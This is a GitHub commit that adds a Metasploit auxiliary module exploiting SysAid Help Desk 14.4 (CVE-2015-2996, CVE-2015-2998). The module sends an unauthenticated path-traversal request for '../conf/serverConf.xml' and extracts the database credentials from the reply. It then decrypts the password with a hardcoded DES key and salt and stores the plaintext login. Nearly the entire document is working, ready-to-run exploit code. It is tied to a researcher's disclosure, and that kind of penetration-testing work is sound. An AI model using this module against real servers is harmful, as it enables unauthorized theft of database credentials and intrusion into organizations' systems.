Skip to content

Commit 6683b86

Browse files
author
Pedro Ribeiro
committed
Create sysaid_sql_creds.rb
1 parent 766d726 commit 6683b86

File tree

1 file changed

+148
-0
lines changed

1 file changed

+148
-0
lines changed
Lines changed: 148 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,148 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'openssl'
8+
9+
class Metasploit3 < Msf::Auxiliary
10+
11+
include Msf::Auxiliary::Report
12+
include Msf::Exploit::Remote::HttpClient
13+
14+
def initialize(info={})
15+
super(update_info(info,
16+
'Name' => "SysAid Help Desk Database Credentials Disclosure",
17+
'Description' => %q{
18+
This module exploits a vulnerability in SysAid Help Desk that allows
19+
an unauthenticated user to download arbitrary files from the system. This is
20+
used to download the server configuration file that contains the database username
21+
and password, which is encrypted with a fixed key.
22+
This module has been tested with SysAid 14.4 on Windows and Linux.
23+
},
24+
'Author' =>
25+
[
26+
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
27+
],
28+
'License' => MSF_LICENSE,
29+
'References' =>
30+
[
31+
[ 'CVE', 'CVE-2015-2996' ],
32+
[ 'CVE', 'CVE-2015-2998' ],
33+
[ 'OSVDB', 'TODO' ],
34+
[ 'OSVDB', 'TODO' ],
35+
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt' ],
36+
[ 'URL', 'TODO_FULLDISC_URL' ]
37+
],
38+
'DisclosureDate' => 'Jun 3 2015'))
39+
40+
register_options(
41+
[
42+
OptPort.new('RPORT', [true, 'The target port', 8080]),
43+
OptString.new('TARGETURI', [ true, "SysAid path", '/sysaid']),
44+
], self.class)
45+
end
46+
47+
48+
def decrypt_password (ciphertext)
49+
salt = [-87, -101, -56, 50, 86, 53, -29, 3].pack('c*')
50+
cipher = OpenSSL::Cipher::Cipher.new("DES")
51+
base_64_code = Rex::Text.decode_base64(ciphertext)
52+
cipher.decrypt
53+
cipher.pkcs5_keyivgen 'inigomontoya', salt, 19
54+
55+
plaintext = cipher.update base_64_code
56+
plaintext << cipher.final
57+
plaintext
58+
end
59+
60+
61+
def run
62+
begin
63+
res = send_request_cgi({
64+
'method' => 'GET',
65+
'uri' => normalize_uri(datastore['TARGETURI'], 'getGfiUpgradeFile'),
66+
'vars_get' => {
67+
'fileName' => '../conf/serverConf.xml'
68+
},
69+
})
70+
rescue Rex::ConnectionRefused
71+
print_error("#{peer} - Could not connect.")
72+
return
73+
end
74+
75+
if res && res.code == 200 && res.body.to_s.bytesize != 0
76+
username = /\<dbUser\>(.*)\<\/dbUser\>/.match(res.body.to_s)
77+
encrypted_password = /\<dbPassword\>(.*)\<\/dbPassword\>/.match(res.body.to_s)
78+
database_url = /\<dbUrl\>(.*)\<\/dbUrl\>/.match(res.body.to_s)
79+
database_type = /\<dbType\>(.*)\<\/dbType\>/.match(res.body.to_s)
80+
81+
if username && encrypted_password && database_type && database_url
82+
username = username.captures[0]
83+
encrypted_password = encrypted_password.captures[0]
84+
database_url = database_url.captures[0]
85+
database_type = database_type.captures[0]
86+
password = decrypt_password(encrypted_password[6..encrypted_password.length])
87+
credential_core = report_credential_core({
88+
password: password,
89+
username: username
90+
})
91+
92+
matches = /(\w*):(\w*):\/\/(.*)\/(\w*)/.match(database_url)
93+
if matches
94+
begin
95+
if database_url['localhost'] == 'localhost'
96+
db_address = rhost
97+
else
98+
db_address = matches.captures[2]
99+
db_address = (db_address.index(':') ? db_address[0, db_address.index(':')] : db_address)
100+
db_address = Rex::Socket.getaddress(db_address, true)
101+
end
102+
database_login_data = {
103+
address: db_address,
104+
service_name: database_type,
105+
protocol: 'tcp',
106+
workspace_id: myworkspace_id,
107+
core: credential_core,
108+
status: Metasploit::Model::Login::Status::UNTRIED
109+
}
110+
create_credential_login(database_login_data)
111+
# Skip creating the Login, but tell the user about it if we cannot resolve the DB Server Hostname
112+
rescue SocketError
113+
print_error "Could not resolve database server hostname."
114+
end
115+
116+
print_status("#{peer} - Stored SQL credentials #{username}:#{password} for #{matches.captures[2]}")
117+
return
118+
end
119+
end
120+
print_error("#{peer} - Failed to obtain database credentials, response was:")
121+
print_line(res.body.to_s)
122+
else
123+
print_error("#{peer} - Failed to obtain database credentials.")
124+
end
125+
end
126+
127+
128+
def report_credential_core(cred_opts={})
129+
origin_service_data = {
130+
address: rhost,
131+
port: rport,
132+
service_name: (ssl ? 'https' : 'http'),
133+
protocol: 'tcp',
134+
workspace_id: myworkspace_id
135+
}
136+
137+
credential_data = {
138+
origin_type: :service,
139+
module_fullname: self.fullname,
140+
private_type: :password,
141+
private_data: cred_opts[:password],
142+
username: cred_opts[:username]
143+
}
144+
145+
credential_data.merge!(origin_service_data)
146+
create_credential(credential_data)
147+
end
148+
end

0 commit comments

Comments
 (0)